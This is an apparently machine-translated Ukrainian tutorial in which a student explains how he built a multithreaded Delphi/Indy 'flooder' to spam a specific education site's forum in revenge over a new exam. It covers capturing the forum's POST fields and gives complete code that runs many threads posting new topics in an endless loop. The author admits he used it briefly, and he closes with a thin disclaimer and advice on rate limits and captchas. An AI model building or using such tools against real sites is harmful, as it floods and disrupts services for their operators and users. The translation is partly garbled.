Бажання написати прогу, здатну залишати купу повідомлень на форумі певного сайту, назвемо його http://****/, у мене народилася після того, як у моєму класі (я навчаюся в 11 класі) вчитель оголосив, що в Оренбурзькій області вперше буде введена система, за якою ми будемо здавати 6 ЄДІ. Все б нічого, але оголосили про це в середині січня! і головне, серед обов’язкових предметів варто література! Блін хто знає відповідь на наступне питання:
Яку назву Н.Р. Чернишевський дав художньому відкриття Толстого, отобразившего «плинність» внутрішнього життя людини, її мінливість?
Відповідь____________________________
Це є в демонстраційному варіанті ЄДІ з літератури за 2008 рік.

Гаразд, досить нюні розпускати, пора до справи. Отже, наш флудер буде залишати на сайті кривдника купу повідомлень, начебто міністр освіти — ***. А вірніше буде створювати купу тем з відповідним написом. Писати флудер будемо на Delphi, не без допомоги Indy, знаю WinSock крутіше, але чому Фленову можна писати поштовик з допомогою компонентів, а мені флудер не можна? (хто читав Delphi очима ][акера, той мене зрозуміє).

Зараз головне зрозуміти, що веб браузер передає на сервер при створенні теми. А вірніше що передається при Post запиті. Отже, топаємо на сайт кривдника, заходимо на форум і відкриваємо сторінку створення нової теми (http://*** /obr/forum/30/add/).
Так тепер наводимо курсор на кнопку з текстом «Відправити», і бачимо, куди ця кнопка відправляє запит: «/obr/forum/?action=forum_add_message&forum_id=30».

Тепер у нас два варіанти розвитку подій.
1 варіант ми ставимо HTTP сніфер. Наприклад, насадку на IE, тут тобі допоможе гугл і власний мозок.
2. Мені качати сніфер було лінь, та й світитися на форумі не хотілося =). З цього я зберіг сторінку на гвинт, запустив Денвер, створив віртуальний хост і запхав сторінку туди. Далі в тій же папці, що і збережена сторінка був створений файлик
proba.php(навіщо побачиш потім). Далі в опері відкрив сорцы сторінки і запустив пошук наступної фрази: /obr/forum/?action=forum_add_message&forum_id=30 – це шлях до скрипу, який відповідає за створення теми і поміняв його на /proba.php (так ось навіщо цей загадковий файлик =) ). Так тепер в файлик proba.php я засунув такий код:

print_r($_POST);
? >

ця штука просто виводить на екран все, що прийшло в POST запиті =). Потім відкрив в опері тільки що створену сторінку заповнив форму і побачив, що на сервер передається наступне:
mes_author_name=vovchik // вказаний нік
mes_author_mail=*****@***.ua // зазначений мильніков
user_login= // логін (можна не заповнювати)
user_password= //пароль (можна не заповнювати)
mes_subject=Єді в топку // тема
mes_text= ***** // повідомлення

загалом, все зрозуміло залишилося струму зробити теж саме, але з допомогою Delphi. Отже, ми створимо н-е число потоків (в Delphi кожен потік-це об’єкт і це сильно нам допоможе). Кожен потік буде «бомбити» наш сайт твоїми повідомленнями. Уявіть, у мене з вихідним каналом у вигляді GPRS і числом потоків в 50 штук прога залишала 2 повідомлення в секунду! Добре, що я вчасно зупинився! Так, тепер давайте подивимося, як працює це «чудо». Для цього киньте на форму компонент TIdHTTP з вкладки Indy Clients. Нам це потрібно, щоб знати, які файли будуть підключені до нашого проекту. Так тепер створіть новий потік (File->New->Other->Thread Object). Тепер збережіть проект собі на гвинт (це ОБОВ’ЯЗКОВИЙ крок). Так тепер бачите у файлі потоку блок uses? скопіюйте туди все, з такого ж блоку у файлі, де описується головна форма (ось навіщо ми кидали непотрібний компонент на форму). Так тепер подивіться на опис класу вашого потоку ви повинні побачити щось схоже на:

type
TFluder = class(TThread)
private
{ Private declarations }
protected
Execute procedure; override;
end;

поміняйте все на:
type
Fluder = class(TThread)
IdHTTP1: TIdHTTP;
IdCookieManager1: TIdCookieManager;
procedure IdHTTP1Redirect(Sender: TObject; var dest: String;
var NumRedirect: Integer; var Handled: Boolean;
var VMethod: TIdHTTPMethod);
private
{ Private declarations }
protected
Execute procedure; override;
end;
(тільки не забудьте, що ім’я потоку у вас може бути іншим!)
далі тиснемо ctrl+Shift+C і отримуємо ось таку «заготовку» події Redirect вона нам стане в нагоді:
procedure Fluder.IdHTTP1Redirect(Sender: TObject; var dest: String;
var NumRedirect: Integer; var Handled: Boolean;
var VMethod: TIdHTTPMethod);
begin
Handled:= TRUE;
end;

як ти зрозумів, нам потрібно буде в заготовку дописати струму один рядок:
Handled:= TRUE; це потрібно, що б після того як ми отримаємо редирект від сервера ми його правильно обробили =).

далі ми маємо процедуру procedure Fluder.Execute; це та процедура, з якої почнеться виконання нашого потоку. Тут ми і будемо «бомбити» сервер. Але перед цим теорія!

Отже, компонент TIdHTTP у нас лежить не на формі, а значить, не буде створений автоматично його доведеться створити «в ручну», так само як і звичайний об’єкт. Але користі від нього буде мало, адже він повинен буде ще щось передати, для цього у нього є два методи function Post(AURL: string; const ASource: TStrings): string;

і function TIdCustomHTTP.Get(AURL: string): string;
перший має два параметри, а другий струму один. Обидва вони повернуть те, що повернув нам сервер після запиту. Якщо у методу GET все зрозуміло, там всі дані передаються через єдиний параметр, то у методу POST потрібні пояснення, другий параметр потрібний для передачі даних через POST запит, і зберігатися вони повинні в об’єкті TStrings або його нащадка (TStringList);. Думаю все зрозуміло і пояснено, так що в бій мій друг. Тепер у процедурі Execute сміливо став такий код:
procedure Fluder.Execute;
var
txt: TStringList;
begin
IdHTTP1:= TIdHTTP.Create(NIL); //Це наш HTTP клієнт
IdCookieManager1:= TIdCookieManager.Create(NIL); //Менеджер Куків іноді він потрібен

txt:= TStringList.Create; //Тут буде POST запит

while (Terminated = False) do // собсно головний цикл
begin
txt.add(‘mes_author_name=’+NameStr); //Змінні
txt.Add(‘mes_author_mail=’+MailStr);
txt.Add(‘user_login=’);
txt.Add(‘user_password=’);
txt.Add(‘mes_subject=’+TemaStr);
txt.Add(‘mes_text=’+TextStr);

// запит
idHTTP1.Post(‘http://****/obr/forum/?action=forum_add_message&forum_id=30’, txt);
end;
txt.Free;

exit;
end;

тепер ми майже готові нам треба тільки кинути на форму кнопку і поставити до неї такий код:
procedure TForm1.Button1Click(Sender: TObject);
var
i: integer; //лічильник
Cout: integer; //число потоків
begin

try
Cout:= StrToInt(Edit1.Text); //намагаємося дізнатися число потоків з Edit а
except
ShowMEssage(Вводь вірно!’);
exit;
end;

NameStr:= NickEdit.Text; // думаю ти зрозумів що всі змінні я беру з Editов
MailStr:= MailEdit.Text;
TemaStr:= TemaEdit.Text;
TextStr:= MessEdit.Text;

SetLength(Potoks, Cout); //Міняю довжину масиву покажчиків

for i:= 0 to Cout-1 do //активують флуд
begin
Potoks[i]:= Fluder.Create(true);
Potoks[i].Resume;
Potoks[i].Priority:= tpLower;
end;
end;

тут ми створюємо енну кількість потоків і хирячим ними сайт недруга!
Перед компіляцією додай в глобальні змінні ось це:
var
Form1: TForm1;
Potoks: array of Fluder; //Масив покажчиків на потоки
NameStr, MailStr, TemaStr, TextStr: string; //Рядка де зберігаються змінні для //передачі на сервер я їх беру з Editов

думаю, ти сам у всьому розберешся, якщо струму подумаєш, це звичайно не ідеальний метод і він підійде тільки для певної кількості форумних движків, але і це вже здорово!
Мораль: пам’ятай флуд — це не гуманно! і не красиво цьому варто навчитися, щоб захищатися від цього! але не більше того, я не в якому разі не хочу спонукати тебе до дії я лише хочу вказати на недосконалість деяких сайтів.

Інформація до роздумів: Отже, чому мені вдалося написати флудер так швидко? Винен в цьому, звичайно, адміністратор порталу, подоба на форум, що поставив адмін, не має ніяких перешкод для таких флудерастов як я =). Право залишати повідомлення на форумі повинні мати тільки зареєстровані користувачі! причому движок не повинен приймати більше 2-3 повідомлень в хвилину від одного і того ж користувача, людина фізично не зможе написати більше повідомлень! При реєстрації користувача повинна бути капча, вона звичайно теж не надійна, але це захистить від більшості таких «атак». Загалом, не робіть таких помилок.

Happy End: кст. нам все ж скасували ЄДІ по літрі тепер ми будемо здавати її в традиційній формі, і добре що я не встиг застосувати флудер за призначенням!(хіба що зовсім трохи =)).
Пару слів модератора:
Я заздалегідь перепрошую за свою Російську мову, я вище трійки по ньому ніколи не мав, і всі контрольні нахабно списував у однокласниць, так що вибачаюсь…